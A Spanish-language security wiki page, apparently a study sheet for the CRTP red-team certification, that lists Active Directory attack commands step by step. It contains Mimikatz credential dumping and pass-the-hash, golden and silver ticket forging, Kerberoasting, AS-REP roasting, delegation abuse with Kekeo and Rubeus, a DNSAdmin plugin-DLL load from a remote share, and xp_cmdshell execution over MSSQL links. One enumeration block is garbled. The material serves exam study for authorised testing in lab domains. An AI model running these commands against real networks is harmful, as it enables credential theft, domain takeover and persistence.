📚
Securiters Wiki
  • 👋Índice
  • 🐣Conceptos Básicos
  • 🔍OSINT
    • Empresas
    • Personas
    • SOCMINT
    • URLs / IPs
  • 🕸️Web
    • 1. Recolección de información
    • 2. Enumeración y descubrimiento
    • 3. Configuración del servidor
    • 4. Entrada de datos
    • 5. Fuerza bruta
    • 6. Autenticación y autorización
    • 7. LFI/RFI
    • 🧞‍♂️CMS
  • 🐢APIs
  • ☎️Móviles
    • 👾Android
    • Analisis Estatico Android
    • Analisis Dinamico Android
    • 📱iOS
    • Jailbreak
    • Analisis Estatico iOS
    • Analisis Dinamico iOS
  • 🎯Internas
    • 🐧Linux
    • 🏹AD
      • Enumeracion
      • Mimikatz & PassTheHash
      • Local Privilege Escalation
      • PE - AS-REPRoast
      • PE - DNSAdmin
      • PE - Kerberoast
      • PE - Trusts
      • PE - Delegations
      • Persistencia - ACLs
      • Persistencia - Kerberos & Tickets
  • 📶Wifi
    • WEP
    • WPS
    • Redes PSK
    • Redes MGT
    • Redes ocultas
  • ⚔️Pentesting / Red team
    • Windows
      • Enumeración
      • Elevación de Privilegios
    • Linux
      • Enumeración
      • Elevación de Privilegios
    • Shells
  • 🛡️Blue Team
  • 📡Puertos & Servicios
    • 21 - FTP
    • 22 - SSH
    • 23 - Telnet
    • 25 - SMTP
    • 53 - DNS
    • 79 - Finger
    • 80 - HTTP
    • 88 - Kerberos
    • 110 - POP3
    • 111 - RPC
    • 123 - NTP (UDP)
    • 135 - MSRPC
    • 139 - Netbios-ssn
    • 143 - IMAP
    • 161/162 - SNMP
    • 389 - LDAP
    • 443 - HTTPS
    • 445 - SMB
    • 464 - kpasswd5
    • 500 - IPSec/IKE VPN
    • 587 - SMPT STARTTLS
    • 623 - IPMI
    • 631 - CUPS
    • 636 - LDAP
    • 1433/1434 - MS SQL Server
    • 1521 - OracleDB
    • 1720 - VoIP - SIP
    • 1900 - UPnP
    • 2049 - NFS
    • 3306 - MySQL
    • 3389 - RDP
    • 4500 - IPSec (UDP)
    • 5357 - WSDAPI
    • 6379 - Redis
    • 6697 - IRC
    • 8009 - Apache Jserv
    • 8080 - HTTP Alt
    • 8500 - Adobe Coldfusion
    • 10000 - Webmin
    • 49981 - System Management Hub
    • 50000 - SAP
  • 🎣Phishing
  • 🐛Bug Bounty
  • ☁️Cloud
    • AWS
    • Azure
  • 🪲Malware
  • 👻Forense
  • 🛠️Tools & Scripts
    • BloodHound
    • Burp Suite
    • Enum4linux
    • Frida
    • Apps Móviles
      • ADB
      • Objection
    • Wireshark
    • Transferencia de ficheros
    • Libros de hacking
    • Addons
    • 🐧WSL
  • ⛳Practicar
  • 🧙‍♂️Certificaciones
    • Repaso CRTP
    • Repaso OSCP
      • 1. Enumeración
      • 2. Vector de entrada
      • 3. Obtención de credenciales
      • 4. Spraying
      • 5. Movimiento lateral
      • 6. Siguientes pasos
  • 📜Recursos en Telegram
  • 🔊Congresos de ciberseguridad
  • 🗣️Entrevistas realizadas
  • 🎤Charlas y Eventos
  • 👣WRITE-UPS
    • 📗Hack The Box
      • 🟢Return
      • 🟢Love
      • 🟢GoodGames
      • 🟢ToolBox
      • 🟢Traverxec
      • 🟢Granny
      • 🟢Jerry
      • 🟢Networked
      • 🟢Arctic
      • 🟢Mirai
      • 🟢Bashed
      • 🟢TwoMillion
      • 🟠Chaos
      • 🟢Validation
      • 🟢Antique
      • 🟢Busqueda
    • 📗Proving Grounds
      • 🟢MoneyBox
      • 🟢Gaara
      • 🟢InfoSec Prep
      • 🟢DC-1
      • 🟢SunsetNoontide
      • 🟢Shakabrah
      • 🟢Ha-Natraj
      • 🟢Monitoring
      • 🟢DriftingBlues6
      • 🟢PyExp
      • 🟢OnSystemShellDredd
      • 🟢Blogger
      • 🟢Dawn
      • 🟢DC-2
      • 🟢FunboxEasy
      • 🟢Sumo
      • 🟢Inclusiveness
      • 🟢FunboxEasyEnum
      • 🟢Potato
      • 🟢Solstice
      • 🟢SunsetDecoy
      • 🟢Lampiao
      • 🟢Vegeta1
      • 🟢Katana
      • 🟢BBSCute
      • 🟢Sar
      • 🟢EvilBox-One
      • 🟢Seppuku
      • 🟢Funbox Rookie
      • 🟢Photographer
      • 🟢CyberSploit1
      • 🟢Amaterasu
      • 🟠Pwned1
      • 🟠My-CMSMS
      • 🟠ICMP
      • 🟠DC-9
      • 🟠SunsetMidnight
      • 🟠Election1
      • 🟠DC-4
      • 🟠Stapler
      • 🟠BTRSys2.1
      • 🟠Assertion101
      • 🟠Loly
      • 🟠SoSimple
      • 🟠Tre
      • 🟠Funbox
      • 🟠NoName
      • 🔴GlasgowSmile
      • 🔴InsanityHosting
      • 🔴Djinn3
      • 🟠CTF SunsetMidnight
Powered by GitBook
On this page
  • 1. Enumeración
  • GPOs (Group Policy Object)
  • OU (Organizational Unit)
  • ACLs (Access Control List)
  • BloodHound
  • 2. Escalada de Privilegios Local
  • 3. Movimiento Lateral
  • Powershell Remoting
  • Mimikatz & tokens
  • 4. Persistencia
  • Silver Ticket
  • Golden Ticket
  • 5. Escalada de Privilegios
  • Kerberoast
  • AS-REP Roasting
  • SPN
  • Delegations
  • DNSAdmin
  • 6. MSSQL Servers
  • Database Links

Was this helpful?

  1. Certificaciones

Repaso CRTP

Conceptos, técnicas y comandos que se recomienda entender antes de presentarse al examen

1. Enumeración

  • Importar script

. .\Powerview.ps1
Import-Module ActiveDirectory.ps1
. .\ActiveDirectory.ps1
  • Obtener el dominio

Get-NetDomain
Get-NetDomain -Domain powershell.local
Get-ADDomain
Get-ADDomain -Identity powershell.local
(Get-ADDomain).DomainSID.Value
  • Obtener los Controladores de Dominio (DC)

Get-NetDomainController
Get-NetDomainController -Domain powershell.local
Get-ADDomainController
Get-ADDomainController -Discover -DomainName powershell.local
  • Obtener usuarios de un dominio

Get-NetUser
Get-NetUser -Domain powershell.local
Get-NetUser –Username labuser
whoami /priv
Get-ADUser -Filter * -Properties *
Get-ADUser -Server ps-dc.powershell.local
Get-ADUser -Identity labuser
  • Obtejer listado de propiedades de los usuarios del Dominio

Get-UserProperty
Get-UserProperty –Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
  • Obtener los grupos de un dominio

Get-NetGroup Get-NetGroup *Get-ADGroup -Filter * | select Name Get-ADGroup -Filter 'Name -like "admin"' | select NameGet-ADGroup -Filter * | select Name Get-ADGroup -Filter 'Name -like "admin"' | select Nameadmin*

Get-ADGroup -Filter * | select Name 
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
  • Obtener los miembros del grupo "Domain Admins"

Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-ADGroupMember -Identity "Domain Admins" -Recursive
  • Obtener los grupos a los que pertenece el usuario "labuser"

Get-NetGroup –UserName "labuser"
Get-ADPrincipalGroupMembership -Identity labuser 
  • Obtener todos los equipos de un dominio

Get-NetComputer
Get-NetComputer -FullData
Get-NetComputer –OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' Get-ADComputer -Filter 'OperatingSystem -like "Server 2016"' -
Get-ADComputer -Filter * Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
  • Obtener todos los grupos de un dominio

Get-NetGroup
Get-NetGroup –Domain <targetdomain>
Get-NetGroup –FullData
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
  • Obtener todos los grupos locales de una máquina

Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -ListGroups
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -Recurse
  • Obtener los usuarios autenticados en una máquina

Get-NetLoggedon –ComputerName <servername>
Get-LoggedonLocal -ComputerName <machine>
  • Obtener el último usuario autenticado en una máquina

Get-LastLoggedOn –ComputerName <servername>
  • Obtener recursos compartidos en el dominio

Invoke-ShareFinder –Verbose
Invoke-FileFinder –Verbose
Get-NetFileServer
  • Obtener todas las máquinas del dominio donde el usuario autenticado tiene privilegios de local admin

Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose
Invoke-CheckLocalAdminAccess
  • Obtener las sesiones de una máquina

Get-NetSession -ComputerName ops-dc
  • Obtener máquinas donde el Domain Admin se ha autenticado

Invoke-UserHunter –CheckAccess
Invoke-UserHunter -Stealth
  • Obtener las relaciones de confianza del dominio

Get-NetDomainTrust
Get-NetDomainTrust –Domain redps.offensiveps.powershell.local
Get-ADTrust -Filter *
Get-ADTrust –Identity redps.offensiveps.powershell.local
  • Obtener la información de los forests

Get-NetForest
Get-NetForest –Forest defensiveps.local
Get-ADForest
Get-ADForest –Identity defensiveps.local
  • Obtener los dominios de los forests

Get-NetForestDomain
Get-NetForestDomain –Forest defensiveps.local
(Get-ADForest).Domains
  • Obtener las relaciones de confianza en los forests

Get-NetForestTrust
Get-NetForestTrust –Forest defensiveps.local
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

GPOs (Group Policy Object)

  • Obtener las GPOs del dominio

Get-NetGPO
Get-NetGPO -ComputerName dcorpstudent1.dollarcorp.moneycorp.local
Get-GPO -All (GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
  • Obtener equipos donde un usuario es miembro de un grupo

Find-GPOLocation -UserName student1 -Verbose

OU (Organizational Unit)

  • Obtener OUs de un dominio

Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *
  • Obtener GPO que aplica a una OU

Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B-83E8F4EF8081}"
Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081

ACLs (Access Control List)

  • Obtener ACL de un usuario

Get-ObjectAcl -SamAccountName student1 –ResolveGUIDs
  • Obtener ACLs con un path específico

Get-PathAcl -Path "\\\\dcorp-dc.dollarcorp.moneycorp.local\\sysvol"

BloodHound

Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -ExcludeDC

2. Escalada de Privilegios Local

  • Obtener los servicios que el usuario actual puede modificar

Get-ModifiableService -Verbose
  • Ejecutar AllChecks

Invoke-AllChecks
  • Herramientas para enumerar información de la máquina que permita eleva privilegios

    • PowerUp

    Invoke-AllChecks
    • BeRoot

    .\\beRoot.exe
    • Privesc

    Invoke-PrivEsc

3. Movimiento Lateral

Powershell Remoting

  • Cmdlets útiles

New-PSSession
Enter-PSSession
Invoke-Command
  • Ejecutar comandos/scripts en equipos

  • Usa –Credential para indicar el username/password.

Invoke-Command –Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)
  • Ejecutar scripts de ficheros

Invoke-Command –FilePath C:\\scripts\\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)
  • Crear sesiones remotas con "estado" (Stateful)

$Sess = New-PSSession –Computername Server1 -Creds 
Enter-PSSession $sess

winrs -r:machine powershell

Mimikatz & tokens

  • Mostrar las credenciales en una máquina local

Invoke-Mimikatz -DumpCreds
  • Mostrar los certificados de una máquina local

Invoke-Mimikatz –DumpCerts
  • Mostrar las credenciales de máquinas remotas

Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
  • Ejecutar una consola de powershell suplantando al usuario Administrator.

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<ntlmhash> /run:powershell.exe"'

Manipulación de tokens

  • Listar todos los tokens de una máquina

Invoke-TokenManipulation –ShowAll
Invoke-TokenManipulation -Enumerate
  • Comenzar un proceso con el token de un usuario

Invoke-TokenManipulation -ImpersonateUser -Username “domain\\user"

4. Persistencia

Silver Ticket

  • Usa el hash del usuario Administrator en la máquina dc.domain.local para solicitar acceso a los recursos compartidos (servicio CIFS)

Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:Administrator_SID /target:dc.domain.local /service:CIFS /rc4:RC4 /user:Administrator /ptt"'

Golden Ticket

Los golden ticket están firmados con el hash del usuario krbtgt.

  • Ejecutar mimikatz en el DC como DA para conseguir el hash del usuario krbtgt

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' –Computername dcorp-dc
  • Crear un golden ticket

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain.local /sid:KRBTGT_SID /krbtgt:KRBTGT_NTLM id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

5. Escalada de Privilegios

Kerberoast

  • Enumerar usuarios

Get-NetUser –SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  • Solicitar un TGS

Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/domain.local"
  • Comprobar si se ha creado

klist
  • Exportar todos los tickets

Invoke-Mimikatz -Command '"kerberos::list /export"'
  • Crackear la contraseña con tgsrepcrack, john o hashcat

AS-REP Roasting

  • Enumerar usuarios

Get-DomainUser -PreauthNotRequired -Verbose
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
Get-ASREPHash -UserName VPN1user -Verbose
  • Enumerar los usuarios con la pre-autenticación deshabilitada

Invoke-ASREPRoast -Verbose

SPN

  • Enumerar usuarios (PowerView_dev)

Get-DomainUser -Identity supportuser | select serviceprincipalname
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
  • Configurar SPN para un usuario

Set-DomainObject -Identity support1user -Set @{serviceprincipalname='ops/whatever1'}
Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='ops/whatever1'}
  • Solicitar un TGS

Add-Type -AssemblyNAme System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
  • Comprobar si se ha creado el TGS

klist.exe
  • Exportar los tickets

Invoke-Mimikatz -Command '"kerberos::list /export"'
  • Crackear la contraseña con tgsrepcrack, john o hashcat

Delegations

Unconstrained

Es posible solicitar cualquier servicio en cualquier máquina del dominio

  • Discover domain computers which have unconstrained delegation enabled using PowerView:

Get-NetComputer -UnConstrainedin
  • Run following command on it to check if any DA token is available:

Invoke-Mimikatz –Command '"sekurlsa::tickets"'

Constrained

Es posible solicitar servicios específicos en máquinas específicas del dominio

  • Enumerar usuarios

Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth
  • A través de Kekeo se solicita un TGT

kekeo# tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
  • A través de kekeo se usa el TGT para crear un TGS con el servicio CIFS

Invoke-Mimikatz tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollar-corp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
  • Inyecta el ticket con mimikatz

Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@domain.local@DOMIAIN.LOCAL_cifs~dcorpmssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'

También es posible crear el TGS con Rubeus

.\\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorpmssql.dollarcorp.moneycorp.LOCAL" /ptt /output:patata.kirbi

Se comprueba que el servicio se ha validado correctamente

ls \\\\dcorp-mssql.dollarcorp.moneycorp.local\\c$

DNSAdmin

  • Enumerar los miembros del grupo DNSAdmin

Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdmins
  • Configurar la DLL usando dnscmd.exe (necesita RSAT DNS)

dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll
  • Usar el módulo de DNS (necesita RSAT DNS)

$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll ="\\172.16.50.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose
  • Reiniciar el servicio DNS

sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns

6. MSSQL Servers

  • Para enumerar

Get-SQLInstanceDomain
  • Comprobar accesibilidad

Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • Obtener información

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Database Links

  • Buscar servidores

Get-SQLServerLink -Instance dcorp-mssql -Verbose
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose
  • La función Openquery() se puede usar para ejecutar peticiones

select * from openquery("dcorp-sql1",'select * from master..sysservers')
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from master..sysservers'')')
  • Ejecutar comandos a través de xp_cmdshell

EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query **"exec master..xp_cmdshell 'whoami'"**

select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql.eu.eurocorp.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')

PreviousCertificacionesNextRepaso OSCP

Last updated 5 months ago

Was this helpful?

Usamos

🧙‍♂️
PowerUpSQL